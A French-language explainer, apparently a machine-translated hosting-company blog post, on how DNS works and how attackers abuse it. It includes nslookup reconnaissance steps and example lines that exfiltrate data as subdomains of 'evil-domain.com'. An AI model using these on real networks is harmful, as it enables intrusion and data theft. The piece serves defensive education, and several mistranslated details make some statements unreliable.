7 Octobre 2021

Quel est le système DNS des noms de domaine ?

Principes de base du fonctionnement du DNS sur Internet et de la sécurité

Print Friendly, PDF & Email

Le système de noms de domaine (DNS) est un composant fondamental du réseau moderne qui se traduit entre les noms de domaine lisibles par l'homme et les adresses IP (Internet Protocol) sous-jacentes que les appareils connectés utilisent pour communiquer entre eux. Le DNS est antérieur au World Wide Web et facilite pratiquement toutes les communications sur Internet, ainsi que d'autres utilisations qui ne pouvaient même pas être imaginées lorsqu'il a été développé au début des années 80. Cependant, le manque de fonctionnalités de sécurité dans ce protocole réseau de longue durée a conduit à de nombreuses vulnérabilités et attaques. Dans cet article, nous répondrons à des questions telles que « Qu'est-ce que le DNS ? », « Comment fonctionne le DNS ? » et "Quels sont les différents types d'enregistrements DNS ?"

Qu'est-ce que le DNS ?

DNS est souvent appelé la version Internet du Pages Jaunes . Autrefois, lorsque vous deviez trouver une adresse professionnelle, vous la cherchiez dans les pages jaunes. Le DNS est exactement comme ça, sauf que vous n'avez pas besoin de rechercher quoi que ce soit - votre ordinateur connecté à Internet le fait pour vous. Voici comment votre ordinateur sait comment trouver Google , ESPN.com o Managedserver.it.

Pour que deux ordinateurs communiquent sur un réseau IP, le protocole exige qu'ils aient besoin d'une adresse IP. Considérez une adresse IP comme une adresse postale : pour qu'un ordinateur en "localise" un autre, il doit connaître le numéro de l'autre ordinateur. Puisque la plupart des gens se souviennent mieux des noms - www.google.it - que les nombres - 142.250.185.163, nécessitaient un programme informatique pour traduire les noms en adresses IP.

Le DNS est le plus souvent considéré dans le contexte du World Wide Web, mais en réalité, il existe une recherche DNS derrière presque tous les types de requêtes réseau, même celles qui ne sont pas initiées par un utilisateur. Les mises à jour logicielles, les applications de médias sociaux et même les logiciels malveillants atteignent généralement un nom d'hôte plutôt qu'une adresse IP. De cette façon, si l'adresse IP sous-jacente change, la connectivité peut toujours être établie.

Comment fonctionne le DNS

Le DNS fait tellement partie intégrante d'Internet qu'il est important de comprendre son fonctionnement.

Considérez DNS comme un carnet d'adresses, mais au lieu de mapper les noms des personnes à leurs adresses, le carnet d'adresses mappe les noms d'ordinateurs aux adresses IP. Chaque mappage est appelé un « enregistrement DNS ». Les clients DNS sur les appareils connectés atteignent les serveurs DNS pour récupérer ces enregistrements. Différents types d'enregistrements sont utilisés à des fins différentes. Les navigateurs Web reposent sur un enregistrement de type « A », tandis que l'enregistrement « MX » indique la direction vers un serveur de messagerie. Voici comment vous pouvez héberger un site Web avec un fournisseur de services et un service de messagerie avec un autre.

Voici un aperçu de l'enregistrement « A » pour varonis.com tel qu'il est vu par un utilitaire de ligne de commande populaire appelé DiG :

Comme vous pouvez le voir dans l'exemple, il est possible d'avoir plusieurs enregistrements pour un seul nom d'hôte ou domaine. Cela peut être utilisé pour fournir une redondance et un équilibrage de charge.

Internet a beaucoup d'ordinateurs, donc il ne sert à rien de mettre tous ces enregistrements dans un seul gros livre. Au lieu de cela, le DNS est organisé en livres ou domaines plus petits. Les domaines peuvent être très volumineux, ils sont donc organisés en plus petits livres, appelés « zones ». Aucun serveur DNS ne stocke tous les livres - ce ne serait pas pratique.

Au lieu de cela, DNS fonctionne de manière distribuée, avec des millions de serveurs dans le monde travaillant ensemble. Lorsque votre ordinateur souhaite effectuer une recherche DNS, il peut demander au serveur DNS de votre routeur local. Le routeur local effectuera à son tour une requête « en amont » vers un autre serveur DNS, souvent fourni par un fournisseur d'accès Internet. Les requêtes pour un domaine peuvent aller « en amont » jusqu'à ce qu'elles atteignent l'autorité du domaine ou le « serveur de noms faisant autorité ». En pratique, les résultats sont souvent « mis en cache » à des niveaux inférieurs pour éviter d'avoir à exécuter l'intégralité du processus pour chaque requête.

Un serveur de noms faisant autorité est l'endroit où les administrateurs gèrent les noms de serveur et les adresses IP de leurs domaines. Chaque fois qu'un administrateur DNS souhaite ajouter, modifier ou supprimer un nom de serveur ou une adresse IP, il modifie son serveur DNS faisant autorité (parfois appelé « serveur DNS principal »). Il existe également des serveurs DNS « esclaves » ; ces serveurs DNS conservent des copies des enregistrements DNS pour leurs zones et domaines.

Requêtes DNS, serveurs et types d'enregistrement

Les concepts de base du DNS sont relativement simples, mais au fil des ans, le côté technique des choses est devenu de plus en plus complexe. Voici un aperçu de certains des mécanismes internes du système :

Quels sont les types de requêtes DNS ?

Une requête DNS est le message envoyé par un client à un serveur DNS ou entre deux serveurs DNS. Une requête DNS peut être l'une des suivantes :

  1. Requête DNS récursive

Dans une requête DNS récursive, un client DNS atteindra un serveur, qui à son tour effectuera des requêtes en amont pour le domaine en question jusqu'à ce qu'un résultat soit trouvé. La seule règle définie pour une requête récursive est qu'un résultat doit être renvoyé, s'il y en a un. Il peut y avoir une ou des dizaines de récursions. Le serveur initial ou même le client DNS local peuvent déjà avoir un résultat mis en cache. Une valeur de durée de vie (TTL) détermine la durée pendant laquelle l'un de ces résultats peut être mis en cache ; une fois le TTL atteint, le client ou le serveur devra rechercher les résultats en amont.

  1. Requête DNS itérative

Contrairement aux requêtes DNS récursives, les requêtes DNS itératives ne voyagent pas en amont. Au lieu de cela, le serveur DNS auquel le client s'adresse fera de son mieux pour répondre à la requête. Sinon, il peut suggérer un serveur DNS différent, tel qu'un serveur de noms faisant autorité ou un serveur de noms TLD. Le demandeur continuera ce processus itératif jusqu'à ce qu'il trouve une réponse ou expire.

Quels sont les types de serveurs DNS ?

Comme déjà indiqué, DNS est un système distribué, ce qui signifie que les serveurs du monde entier travaillent ensemble pour maintenir et fournir des enregistrements DNS. Différents types de serveurs ont des rôles différents au sein du système global :

  1. DNS récursif

Parfois appelé résolveur récursif, un récurseur DNS reçoit les requêtes des clients DNS, répond si un hit est disponible dans le cache ou atteint un serveur de noms plus haut dans la chaîne. Les appels sont souvent traités par les FAI, mais il est facile de modifier la configuration DNS d'un ordinateur pour pointer vers une autre source pour des raisons de performances, de sécurité ou de confidentialité.

  1. Serveur racine DNS

Comme son nom l'indique, les serveurs racine sont la base à partir de laquelle toute l'infrastructure DNS est construite. Les serveurs racines agissent comme des serveurs de noms faisant autorité pour les domaines de premier niveau (TLD) tels que « .com » et « .net ». Il y a un problème, cependant, parce que les serveurs racine eux-mêmes sont référencés par des noms d'hôte au sein de ces mêmes TLD. Si un client DNS ne peut pas déterminer vers quel serveur de noms se tourner pour « .net », comment peut-il éventuellement résoudre un domaine pleinement qualifié comme « a.root-servers.net » ? La réponse est que les clients DNS et les serveurs de bas niveau sont « amorcés » avec une liste de treize adresses IP de serveur principal. Ces adresses n'ont pas tendance à changer souvent et une seule d'entre elles doit être accessible pour réparer les autres.

  1. Serveur de noms TLD

Les serveurs de noms de TLD n'ont d'importance que les serveurs racines, car ils savent où aller pour obtenir des réponses sur n'importe quel domaine au sein d'un TLD donné. Lors de la recherche www.managedserver.it , un serveur TLD pour ".com" répondra en premier, pointant le client vers le serveur de noms avec les enregistrements pour "managedserver". partie du nom de domaine.

  1. Serveur de noms faisant autorité

Le serveur de noms faisant autorité est le dernier arrêt pour une requête DNS. Ce serveur, ou souvent serveur pour des raisons de redondance, est la plus haute autorité pour un domaine donné. Cependant, toutes les requêtes DNS n'atteignent pas le serveur de noms faisant autorité, car des résultats mis en cache peuvent être plus proches de la requête initiale.

Les organisations utilisent également souvent le DNS en interne. L'opération n'est pas très différente, sauf que les recherches et les enregistrements DNS restent dans le réseau de l'entreprise plutôt que sur Internet. C'est ce qu'on appelle le DNS « privé » ou « local » par opposition au service DNS public.

Quels sont les types d'enregistrements DNS ?

Les enregistrements DNS sont disponibles dans une grande variété de types, chacun étant utilisé à des fins différentes. Voici quelques-unes des plus courantes :

  1. Enregistrement "A" - Utilisation classique du DNS, traduit un domaine en une adresse IPv4.
  2. Enregistrement « AAAA » - Même fonctionnalité qu'un enregistrement « A », mais en utilisant une adresse IPv6 au lieu d'IPv4.
  3. L'enregistrement "MX" - Abréviation de "Mail Exchange", identifie le serveur de messagerie associé au domaine.
  4. Enregistrement « TXT » : utilisé à des fins très diverses, de la preuve de propriété du domaine à la signature cryptographique des e-mails pour lutter contre le spam.

Avantages et faiblesses du DNS

avantages

Il existe de nombreuses bonnes raisons pour lesquelles nous utilisons toujours le DNS après toutes ces années. Certains des avantages du système comprennent :

  • Il est distribué et résilient

Il n'y avait pas beaucoup de domaines utilisés au début d'Internet, il est donc concevable que nous ayons pu nous retrouver avec une seule base de données centrale avec tous les mappages de domaine à IP. Ceci, bien sûr, n'aurait pas permis l'évolutivité nécessaire pour alimenter l'Internet moderne. La nature distribuée du DNS signifie également que le système est résilient ; une panne de courant, un câble fibre coupé ou une cyberattaque sur un serveur DNS n'interrompra pas le système dans son ensemble.

  • Il est polyvalent et extensible

Les développeurs DNS ont toujours voulu que le protocole soit extensible à mesure que la technologie progressait. Les extensions de la norme DNS d'origine ont apporté de nouvelles fonctionnalités et fonctionnalités tout en maintenant la compatibilité descendante. Au fil des ans, de nouveaux types d'enregistrements, des règles améliorées pour la livraison des paquets DNS et une sécurité améliorée ont été ajoutés.

  • C'est une norme ouverte et bien documentée

Le DNS n'est pas né de la domination d'un fournisseur particulier ou d'un désir de gagner des parts de marché. L'Internet Engineering Task Force (IETF) publie ouvertement l'ensemble des règles qui composent le protocole, permettant à tout développeur de logiciels d'implémenter le DNS dans ses produits. Il existe de nombreuses implémentations différentes de clients et de serveurs DNS, mais comme elles sont conformes à une norme commune, elles peuvent toutes fonctionner ensemble.

Faiblesses et vulnérabilités

Les premières itérations du système de noms de domaine (DNS) remontent au début des années 80, bien avant l'émergence des menaces modernes de cybersécurité. En conséquence, DNS et de nombreux autres protocoles plus anciens encore utilisés aujourd'hui, tels que ARP et IMCP, n'ont jamais inclus beaucoup de fonctionnalités de sécurité. Au cours des années qui ont suivi, un certain nombre d'extensions et d'atténuations ont été conçues à mesure que de nouvelles menaces sont apparues, mais le DNS est encore souvent abusé par les attaquants.

Du point de vue d'un acteur de la menace, plusieurs caractéristiques rendent le DNS attrayant :

  • Chaque réseau l'utilise

Le DNS est omniprésent. Presque tous les réseaux informatiques du monde verront des milliers ou des millions de requêtes DNS chaque jour. Bien que cela ne soit pas techniquement nécessaire pour qu'un réseau IP fonctionne, le blocage ou la limitation du DNS n'est tout simplement pas pratique, donc presque tous les pare-feu de la planète sont configurés pour autoriser le trafic sortant sur le port 53. Cela signifie que les attaquants n'ont pas seulement un sortir d'un réseau compromis, mais il y a aussi beaucoup de trafic légitime avec lequel ils peuvent fusionner.

  • Il n'y a pas d'authentification

Comme beaucoup d'autres premiers protocoles réseau, DNS n'a jamais inclus de mécanisme d'authentification. Cela signifie que dans le protocole DNS principal, il n'est pas possible d'être sûr qu'un certain résultat est authentique. Les attaquants en ont profité avec toute une gamme d'opportunités d'attaques d'usurpation d'identité et d'empoisonnement qui ciblent tout, des machines individuelles aux vastes pans de l'ensemble d'Internet.

Le manque d'authentification dans le DNS a fait la une des journaux en 2008 lorsque le chercheur en sécurité Dan Kaminsky a découvert une énorme vulnérabilité qui aurait pu permettre aux attaquants d'empoisonner le cache de presque tous les serveurs DNS utilisés à l'époque. . Le résultat était que même avec très peu de compétences techniques, un attaquant pouvait tromper des serveurs DNS légitimes en leur faisant envoyer de fausses informations IP pour des domaines importants comme une banque ou une institution gouvernementale.

Face à la menace de faux enregistrements DNS faisant des ravages dans la communauté Internet, les fournisseurs de services et les organismes de normalisation se sont associés pour adopter ce qu'on appelle les extensions de sécurité du système de noms de domaine (DNSSEC). DNSSEC utilise la cryptographie à clé publique pour signer numériquement les résultats DNS, garantissant que la réponse à une requête est bien authentique.

  • Il n'y a pas de cryptage non plus

Les requêtes DNS et leurs réponses sont envoyées en texte clair, ce qui signifie que n'importe qui sur le réseau peut les voir avec un outil comme Wireshark . Cela présente des problèmes potentiels de confidentialité, car cela signifie que vos collègues, votre patron ou même votre FAI peuvent dire avec quels domaines vous avez interagi. Cela est également vrai pour les sites Web qui tirent parti du cryptage SSL / TLS ; les données réelles transférées entre le site et votre ordinateur peuvent ne pas être visibles, mais cette requête DNS initiale qui vous a donné l'adresse IP du site en premier lieu l'est.

Deux approches concurrentes ont été avancées pour envelopper le trafic DNS avec une couche de cryptage lorsqu'il traverse un réseau : DNS sur HTTPS (DoH) et DNS sur TLS. Quelle approche utiliser - et si le DNS doit également être crypté en premier lieu - est sujet de débats houleux .

Types d'attaques DNS

Attaques de reconnaissance DNS

Le DNS concerne uniquement les informations qui, du point de vue d'un attaquant, peuvent être un outil précieux. Les requêtes DNS peuvent être utilisées pour cartographier l'infrastructure réseau d'une victime en révélant hôte en direct sur un réseau , en découvrant les noms d'hôte des cibles de grande valeur telles que les serveurs de messagerie et les fichiers, et en fournissant des indices sur les applications et les services utilisés. Vous pouvez effectuer votre mission de reconnaissance DNS locale simplement en suivant les instructions ci-dessous :

Si vous avez un ordinateur Windows, exécutez les commandes suivantes telles quelles ; si vous êtes un utilisateur Linux, vous pouvez rechercher des commandes correspondantes.

  1. Ouvrez une invite de commande (tapez Ctrl + esc, les lettres "cmd", puis entrez).
  2. Tapez ipconfig
  3. Vous verrez le domaine DNS dans lequel vous vous trouvez (suffixe DNS spécifique à la connexion), votre adresse IP et un tas d'autres choses. Vous voudrez vous y référer.
  4. Tapez nslookup [adresse IP] Vous verrez le nom du serveur DNS qui répond et, si le nom est connu, l'enregistrement DNS qui répertorie le nom et l'adresse IP.
  5. nslookup –type = soa [votre domaine] Cette commande renvoie votre serveur DNS faisant autorité, cela ne serait pas utile si vous essayiez d'infiltrer un réseau.
  6. nslookup –type = MX [votre domaine] Cette commande renvoie tous les serveurs de messagerie sur votre domaine local, au cas où vous voudriez pirater les serveurs de messagerie et ne savez pas où ils se trouvent.

Comme nous l'avons déjà appris, la plupart des réseaux ont beaucoup de requêtes DNS en cours tout le temps. Pour de nombreux produits de sécurité standard et solutions de surveillance de réseau, les requêtes utilisées par un attaquant pour énumérer un réseau ne sont pas très différentes de toutes les autres requêtes légitimes. 

Piratage DNS pour rediriger le trafic

L'absence d'authentification dans le protocole DNS d'origine donne aux attaquants un énorme avantage car cela signifie que les requêtes et les réponses peuvent être manipulées ou falsifiées dans de nombreux endroits différents, de la machine locale aux résolveurs DNS mondiaux.

Une attaque de réseau local classique consiste à enchaîner Usurpation d'ARP avec un serveur DNS non autorisé. En cas de succès, les autres machines du réseau achemineront leurs requêtes DNS vers un serveur contrôlé par l'attaquant. L'attaquant peut alors renvoyer ses adresses IP pour ces requêtes au lieu de l'adresse légitime. Sans les mesures d'atténuation en place, un utilisateur pourrait saisir un domaine comme example.com, voir une page se charger et ne jamais avoir aucune indication qu'il communiquait réellement avec un faux malveillant.

Les attaquants peuvent également utiliser diverses techniques pour empoisonner le cache des serveurs DNS légitimes . Cela se produit généralement lorsque les organisations exécutent leur propre récurseur DNS local ; une attaque réussie d'empoisonnement du cache sur un grand fournisseur de DNS public pourrait avoir un impact mondial, de sorte que ces fournisseurs ont tendance à être très soucieux de la sécurité. Cependant, même les grands fournisseurs ils ne sont pas à l'abri des vulnérabilités .

Si un attaquant réussit à usurper une réponse DNS, il peut transformer le cache du serveur DNS destinataire en un enregistrement empoisonné. Alors, comment cela aide-t-il les attaquants?

Voici un exemple : disons qu'un attaquant apprend que votre organisation utilise une application externe pour quelque chose d'important, comme des dépenses. S'ils empoisonnent le serveur DNS de votre organisation afin qu'il envoie chaque utilisateur au serveur de l'attaquant, tout ce qu'ils ont à faire est de créer une page de connexion d'apparence légitime et les utilisateurs entreront leurs informations d'identification. Ils pourraient même transférer le trafic vers le serveur réel (agissant comme un « homme du milieu »), afin que personne ne le remarque. L'attaquant peut ensuite essayer ces informations d'identification sur d'autres systèmes, les vendre ou simplement célébrer avec un rire méchant.

Utiliser DNS comme canal secret

Étant donné que le trafic DNS sortant n'est pratiquement jamais bloqué, et a tendance à être important, l'utilisation du DNS pour l'exfiltration de données ou les communications secrètes est devenue la tactique préférée de nombreux adversaires sophistiqués. L'objectif des attaquants est de fusionner avec tout ce trafic réseau légitime via une technique appelée Tunnellisation DNS . Dans certains cas, un attaquant utilisera simplement le protocole DNS de manière non prévue pour le transfert de données. Cela peut toutefois être risqué, car cela pourrait générer des pics importants ou des modèles de trafic inhabituels qu'une organisation bien préparée peut rapidement remarquer.

Une approche plus sophistiquée implique une mauvaise utilisation de l'infrastructure DNS elle-même. L'attaquant mettra en place un domaine DNS (evil-domain.com, par exemple) sur Internet et créera un serveur de noms faisant autorité. Ensuite, sur l'hôte compromis, l'attaquant peut utiliser un programme qui divise les données en petits morceaux et les insère dans une série de recherches, comme ceci :

  • nslookup My1secret1.evil-domain.com
  • nslookup est1que1je1sais.evil-domain.com
  • nslllookup how2steal1data.evil-domain.com

Le serveur DNS de corp.com recevra ces requêtes, se rendra compte que les résultats ne sont pas dans son cache et relaiera ces requêtes au serveur de noms faisant autorité de evil-domain.com. L'attaquant attend ce trafic, puis exécute un programme sur le serveur de noms faisant autorité pour extraire la première partie de la requête (toute avant evil-domain.com) et la réassembler. À moins que votre organisation n'inspecte les requêtes effectuées par les serveurs DNS, elle ne se rendra peut-être jamais compte que leurs serveurs DNS ont été utilisés pour exfiltrer des données.

Et encore plus de types d'attaques !

La liste ci-dessus n'est en aucun cas une liste complète de toutes les attaques DNS possibles. Le protocole a été abusé pour tout, de Campagnes DDoS al surveillance secrète des internautes . Des attaquants ont récemment été observés modifier la configuration DNS dans différentes variétés de routeurs domestiques pour propager des logiciels malveillants . Les acteurs malveillants et les chercheurs en sécurité sont constamment à la recherche de nouvelles vulnérabilités et il est peu probable que leur attention se déplace de si tôt.

Le DNS existe depuis longtemps et chaque ordinateur connecté à Internet en dépend. Les attaquants utilisent désormais DNS pour la reconnaissance externe et interne, pour détourner le trafic et créer des canaux de communication secrets. Heureusement, surveillance des serveurs DNS e application de l'analyse de sécurité , bon nombre de ces attaques peuvent être détectées et évitées.

Vous avez des doutes ? Vous ne savez pas par où commencer ? Contactez-nous


Nous avons toutes les réponses à vos questions pour vous aider à faire le bon choix.

Écrivez-nous

Discutez directement avec notre support technique.

0256569681

Appelez-nous immédiatement pendant les heures de bureau de 9h30 à 19h30

Recevoir de l'aide

Ouvrez un ticket directement dans l'espace support.

INFORMATIONS

ManagedServer.it est le premier fournisseur italien de solutions d'hébergement hautes performances. Notre modèle d'abonnement est abordable et prévisible, afin que les clients puissent accéder à nos technologies d'hébergement fiables, à nos serveurs dédiés et au cloud. ManagedServer.it offre également d'excellents services d'assistance et de conseil sur l'hébergement des principaux CMS Open Source tels que WordPress, WooCommerce, Drupal, Prestashop, Magento.

haut